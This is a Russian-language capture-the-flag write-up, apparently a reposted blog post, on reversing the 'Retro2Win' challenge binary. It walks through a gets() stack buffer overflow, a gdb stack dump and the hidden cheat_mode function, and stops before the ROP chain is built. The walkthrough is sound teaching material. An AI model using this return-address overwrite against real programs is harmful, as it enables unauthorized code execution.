{"id":443186,"date":"2024-12-26T05:59:16","date_gmt":"2024-12-26T05:59:16","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=443186"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=443186","title":{"rendered":"\u0412\u0437\u043b\u043e\u043c Retro2Win \u0447\u0435\u0440\u0435\u0437 ROP-chain \u043d\u0430 1337UP LIVE CTF 2024<\/span>"},"content":{"rendered":"
<\/div>\n
\n
\n
\n
\n

\u0423\u0432\u0430\u0436\u0430\u0435\u043c\u044b\u0435 \u0434\u0430\u043c\u044b \u0438 \u0433\u043e\u0441\u043f\u043e\u0434\u0430, \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044e \u0432\u0430\u043c \u0435\u0449\u0435 \u043e\u0434\u043d\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436\u0435\u0439 \u0441 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 1337UP LIVE CTF 2024. \u0414\u0430\u043d\u043d\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043a\u0430\u0440\u0434\u0438\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>. \u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0442\u0430\u043a\u0438 \u0432\u044b\u0441\u043e\u043a\u0430\u044f. \u041d\u043e, \u043d\u0435 \u0431\u0443\u0434\u0435\u043c \u043e\u0442\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c \u0434\u0435\u043b\u0430 \u043d\u0430 \u043f\u043e\u0442\u043e\u043c. \u0418\u0434\u0435\u043c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0441 \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436\u0435\u043c<\/a> \u0438 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0435\u043c.<\/p>\n

<\/figure>\n

\u041a\u0430\u043a \u044f \u0443\u0436\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430 \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u0433\u0434\u0435 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439. \u0421\u043a\u0430\u0447\u0430\u0432 \u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u0430\u0432 \u0430\u0440\u0445\u0438\u0432, \u044f \u0443\u0432\u0438\u0434\u0435\u043b \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0430\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a, \u043d\u043e \u0438 docker \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043f\u043e\u0434 \u043d\u0435\u0433\u043e. \u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 \u0443 \u043d\u0430\u0441 \u043d\u0435\u0442\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041c\u043d\u0435 \u043a\u0440\u0430\u0439\u043d\u0435 \u043d\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e \u0437\u0430\u0447\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u044c \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436\u0430 \u0440\u0435\u0448\u0438\u043b \u043e\u0431\u0435\u0440\u043d\u0443\u0442\u044c \u044d\u0442\u043e \u0432 docker \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440. \u0424\u0430\u0439\u043b\u0438\u043a flag.txt<\/code> \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 INTIGRITI{fake_flag}<\/code><\/p>\n

tkchk@laptop:~\/Downloads\/retro2win$ tree . \u251c\u2500\u2500 challenge \u2502\u00a0\u00a0 \u251c\u2500\u2500 Dockerfile \u2502\u00a0\u00a0 \u251c\u2500\u2500 flag.txt \u2502\u00a0\u00a0 \u2514\u2500\u2500 retro2win \u251c\u2500\u2500 docker-compose.yml \u2514\u2500\u2500 start.sh  2 directories, 5 files<\/code><\/pre>\n
\u276f \u0417\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u043e \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439<\/h2>\n
tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option:<\/code><\/pre>\n
\u0412\u0430\u0443, \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0441\u044b\u0433\u0440\u0430\u0442\u044c \u0432 \u0438\u0433\u0440\u0443. \u0418\u043c\u0435\u0435\u043c \u0437\u0434\u0435\u0441\u044c 2 \u043e\u043f\u0438\u0446\u0438\u0438 \u2014 \u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u043b\u0435\u0441 \u0438\u043b\u0438 \u043f\u043e\u0434\u0440\u0430\u0442\u0441\u044f \u0441 \u0434\u0440\u0430\u043a\u043e\u043d\u043e\u043c. \u0427\u0442\u043e \u0436\u0435, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0431\u0435.<\/p>\n
tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1 You are walking through a dark forest... I don't think there's any flags around here...<\/code><\/pre>\n
\u0422\u0430\u043a, \u0432 \u043b\u0435\u0441\u0443 \u0444\u043b\u0430\u0433\u043e\u0432 \u043d\u0435\u0442. \u0414\u0432\u0438\u0433\u0430\u0435\u043c \u0434\u0430\u043b\u044c\u0448\u0435<\/p>\n
tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 2 You encounter a ferocious dragon! But it's too strong for you... Only if you had some kind of cheat...<\/code><\/pre>\n
\u0414\u0440\u0430\u043a\u043e\u043d\u0430 \u043c\u044b \u0442\u043e\u0436\u0435 \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043e\u0441\u0438\u043b\u0438\u0442\u044c, \u043d\u043e \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0433\u0434\u0435-\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0445\u0438\u0442\u0440\u043e\u0441\u0442\u044c. \u0417\u0430 \u0445\u0438\u0442\u0440\u043e\u0441\u0442\u044f\u043c\u0438 \u043b\u0435\u0437\u0435\u043c \u0432 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440. \u041e\u043f\u044f\u0442\u044c \u0442\u0430\u043a\u0438, \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e \u0444\u0440\u0438\u0448\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Binary Ninja.<\/p>\n
\u276f \u0420\u0435\u0432\u0435\u0440\u0441<\/h2>\n
<\/figure>\n
\u041d\u0430\u0448\u0430 main<\/code> \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u043e\u0442 \u0442\u0430\u043a. \u0424\u0443\u043d\u043a\u0446\u0438\u044f show_main_menu<\/code> \u043d\u0430\u0441 \u044f\u0432\u043d\u043e \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442. \u0427\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e __isoc99_scanf<\/code> \u043c\u044b \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e var_c<\/code> . \u041f\u043e\u0442\u043e\u043c \u044d\u0442\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f rax_3<\/code> . \u0410 \u0443\u0436\u0435 \u0434\u0430\u043b\u044c\u0448\u0435 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043a\u0443\u0447\u0443 if<\/code> , \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0440\u0443\u043b\u044f\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043c\u044b \u0432\u0432\u0435\u043b\u0438 \u043d\u0430 \u043a\u043e\u043d\u0441\u043e\u043b\u044c. \u0424\u0443\u043d\u043a\u0446\u0438\u0438 battle_dragon<\/code> \u0438 explore_forest<\/code> \u043d\u0430\u0441 \u0442\u043e\u0436\u0435 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u2014 \u0442\u0430\u043c \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c \u0442\u0435\u043a\u0441\u0442. \u0410 \u0432\u043e\u0442 \u043a \u0444\u0443\u043d\u0446\u0438\u0438 enter_cheatcode<\/code> \u043c\u044b \u0434\u043e\u0431\u0435\u0440\u0435\u043c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432\u0432\u0435\u0434\u0435\u043c 0x539<\/code> \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043a\u043e\u043f\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. 0x539<\/code> \u044d\u0442\u043e \u0434\u0435\u0441\u044f\u0442\u0438\u0447\u043d\u043e\u0435 1337<\/code>. \u041e\u0445 \u0438 \u043b\u044e\u0431\u044f\u0442 \u043e\u043d\u0438 \u044d\u0442\u043e\u0442 leet. \u041b\u0430\u0434\u043d\u043e, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0446\u0438\u0444\u0435\u0440\u043a\u0443.<\/p>\n
tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1337 Enter your cheatcode: 123 Checking cheatcode: 123!<\/code><\/pre>\n
\u041d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0432\u0432\u0435\u0441\u0442\u0438 \u0447\u0438\u0442-\u043a\u043e\u0434, \u043d\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0432\u043e\u0434 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u0435\u043d. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0436\u0435 \u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430 \u044d\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u2014 \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0439\u0434\u0435\u043c \u0442\u0430\u043c \u0447\u0435\u0433\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0433\u043e.<\/p>\n
<\/figure>\n
\u0425\u043c, \u0437\u0434\u0435\u0441\u044c \u0432\u0438\u0434\u0438\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e buf<\/code>. \u041d\u0430 \u0441\u0442\u0440\u043e\u043a\u0435 0040080c<\/code> \u043c\u044b \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u043c \u043d\u0430\u0448 \u0432\u0432\u043e\u0434 \u0438\u0437 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0432 \u044d\u0442\u043e\u0442 \u0431\u0443\u0444\u0435\u0440 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e gets<\/code> . \u0414\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0438\u043f\u0430 buffer overflow. \u041b\u044e\u0431\u043e\u0439 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430 \u044d\u0442\u043e \u0436\u0430\u043b\u043e\u0432\u0430\u0442\u0441\u044f, \u0435\u0441\u043b\u0438 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0438\u0441\u0430\u0442\u044c \u0441 \u043d\u0435\u0439 \u043d\u0430\u0448\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443. \u0414\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u0441\u0435 \u0435\u0449\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0446\u0435\u043b\u044f\u0445 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438. <\/p>\n
\u276f \u041b\u043e\u043c\u0430\u0435\u043c<\/h2>\n
\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c overflow.<\/p>\n
tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1337 Enter your cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Checking cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111! Segmentation fault (core dumped)<\/code><\/pre>\n
\u041d\u0430\u0434\u043e \u0436\u0435, \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e! \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c Segmentation fault \u2014 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043a\u0440\u0430\u0448\u043d\u0443\u043b\u0430\u0441\u044c. \u0427\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u0441\u044f \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u043b\u0435\u0437\u0435\u043c \u0432 \u0434\u0435\u0431\u0430\u0433\u0435\u0440 gdb<\/code> . \u0417\u0434\u0435\u0441\u044c \u044f \u043d\u0435 \u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0431\u0440\u0435\u0439\u043a\u043f\u043e\u0438\u043d\u0442\u043e\u0432. \u041f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0438 \u043f\u0440\u0438\u0432\u0435\u043b \u0435\u0435 \u0432 \u0441\u043b\u043e\u043c\u0430\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u0412 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435,gdb<\/code> \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0432\u0441\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b.<\/p>\n
tkchk@laptop:~\/Downloads\/retro2win\/challenge$ gdb retro2win  GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http:\/\/gnu.org\/licenses\/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \"show copying\" and \"show warranty\" for details. This GDB was configured as \"x86_64-linux-gnu\". Type \"show configuration\" for configuration details. For bug reporting instructions, please see: <https:\/\/www.gnu.org\/software\/gdb\/bugs\/>. Find the GDB manual and other documentation resources online at:     <http:\/\/www.gnu.org\/software\/gdb\/documentation\/>.  For help, type \"help\". Type \"apropos word\" to search for commands related to \"word\"... Reading symbols from retro2win... (No debugging symbols found in retro2win) (gdb) run Starting program: \/home\/tkchk\/Downloads\/retro2win\/challenge\/retro2win  [Thread debugging using libthread_db enabled] Using host libthread_db library \"\/lib\/x86_64-linux-gnu\/libthread_db.so.1\". ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1337 Enter your cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Checking cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!  Program received signal SIGSEGV, Segmentation fault. 0x0000000000400829 in enter_cheatcode () (gdb) x\/10xg $rsp 0x7fffffffdd58:0x31313131313131310x3131313131313131 0x7fffffffdd68:0x31313131313131310x3131313131313131 0x7fffffffdd78:0x31313131313131310x3131313131313131 0x7fffffffdd88:0x31313131313131310x3131313131313131 0x7fffffffdd98:0x31313131313131310x00007fffffff0031<\/code><\/pre>\n
\u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043d\u0430\u043c \u043d\u0430\u0434\u043e \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0441\u0442\u0435\u043a. \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0441\u0442\u0435\u043a \u0438 \u043a\u0430\u043a \u043e\u043d \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0447\u0430\u0441\u0442\u0438<\/a> \u0446\u0438\u043a\u043b\u0430 \u0441\u0442\u0430\u0442\u0435\u0439 \u043e \u0432\u0437\u043b\u043e\u043c\u0435 \u0434\u0438\u0441\u043a\u0430 \u043e\u0442 Red Balloon Security. \u041a\u043e\u043c\u043c\u0430\u043d\u0434\u0430 x\/10xg $rsp<\/code> \u043f\u043e\u043a\u0430\u0436\u0435\u0442 \u043d\u0430\u043c \u0434\u0435\u0441\u044f\u0442\u044c 64-\u0431\u0438\u0442\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b \u0441 \u0430\u0434\u0440\u0435\u0441\u0430 \u0438\u0437 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 rsp<\/code> \u2014 \u044d\u0442\u043e \u043d\u0430\u0448 stack pointer. \u0418 \u0447\u0442\u043e \u0436\u0435 \u044f \u0437\u0434\u0435\u0441\u044c \u0443\u0432\u0438\u0434\u0435\u043b? \u041f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f buf<\/code> \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u043b\u0430\u0441\u044c \u0438 \u043c\u043e\u0438 \u0435\u0434\u0438\u043d\u0438\u0447\u043a\u0438 (\u0432 hex \u0432\u0438\u0434\u0435) \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u044d\u0448\u043d\u0443\u043b\u0438 \u0441\u043e\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430. \u041d\u0430 \u0441\u0442\u0435\u043a\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0432\u0435\u0449\u0435\u0439: \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435, \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u0435 rbp<\/code> \u0438, \u0441\u0430\u043c\u043e\u0435 \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043e\u0432. \u041d\u0430\u0448\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043a\u0430\u043a \u0440\u0430\u0437 \u0442\u0430\u043a\u0438 \u043a\u0440\u0430\u0448\u043d\u0443\u043b\u0430\u0441\u044c \u043f\u043e \u0442\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u0435, \u0447\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u0410\u0434\u0440\u0435\u0441 0x3131313131313131<\/code> \u0432\u0435\u0434\u0435\u0442 \u043a\u0443\u0434\u0430-\u0442\u043e \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u041e\u0442 \u0441\u044e\u0434\u0430 \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438.  \u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0432 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0437\u0430\u0440\u0443\u043b\u0438\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0430\u0434\u0440\u0435\u0441. \u041d\u043e \u043a\u0430\u043a\u043e\u0439?<\/p>\n
\u276f \u0427\u0438\u0442\u0435\u0440\u0438\u043c<\/h2>\n
\u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u043a\u0443\u0434\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u0435\u0440\u043d\u0443\u0442\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u044f \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0441\u044f \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e cheat_mode<\/code> . \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u2014 \u043a \u043d\u0435\u0439 \u043d\u0438\u043a\u0430\u043a \u043d\u0435\u043b\u044c\u0437\u044f \u0434\u043e\u0441\u0442\u0443\u0447\u0430\u0442\u0441\u044f. \u041d\u0438 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0438\u0437 main<\/code>, \u043d\u0438 \u0438\u0437 \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u044f \u043d\u0435 \u0443\u0432\u0438\u0434\u0435\u043b. \u0412 \u043d\u0435\u0439 \u043c\u044b \u043a\u0430\u043a \u0440\u0430\u0437 \u0442\u0430\u043a\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u0441 \u0444\u043b\u0430\u0433\u043e\u043c \u0438 \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c \u0435\u0433\u043e \u043d\u0430 \u043a\u043e\u043d\u0441\u043e\u043b\u044c. \u041d\u043e \u0435\u0441\u0442\u044c \u043e\u0434\u043d\u0430 \u0437\u0430\u0433\u0432\u043e\u0437\u0434\u043a\u0430 \u2014 \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 2\u0445 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c 0x2323232323232323<\/code> , \u0430 \u0432\u0442\u043e\u0440\u043e\u0433\u043e 0x4242424242424242<\/code> . \u042d\u0442\u043e \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442 \u043d\u0430\u0448\u0443 \u0437\u0430\u0434\u0430\u0447\u0443 \u2014 \u043c\u0430\u043b\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u0430\u043c \u043f\u0440\u0438\u0439\u0434\u0435\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u0430\u0431\u044c\u044e\u0437\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u0442\u0430\u043a \u043c\u044b \u0435\u0449\u0435 \u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u0438\u0442\u044c.<\/p>\n
<\/figure>\n
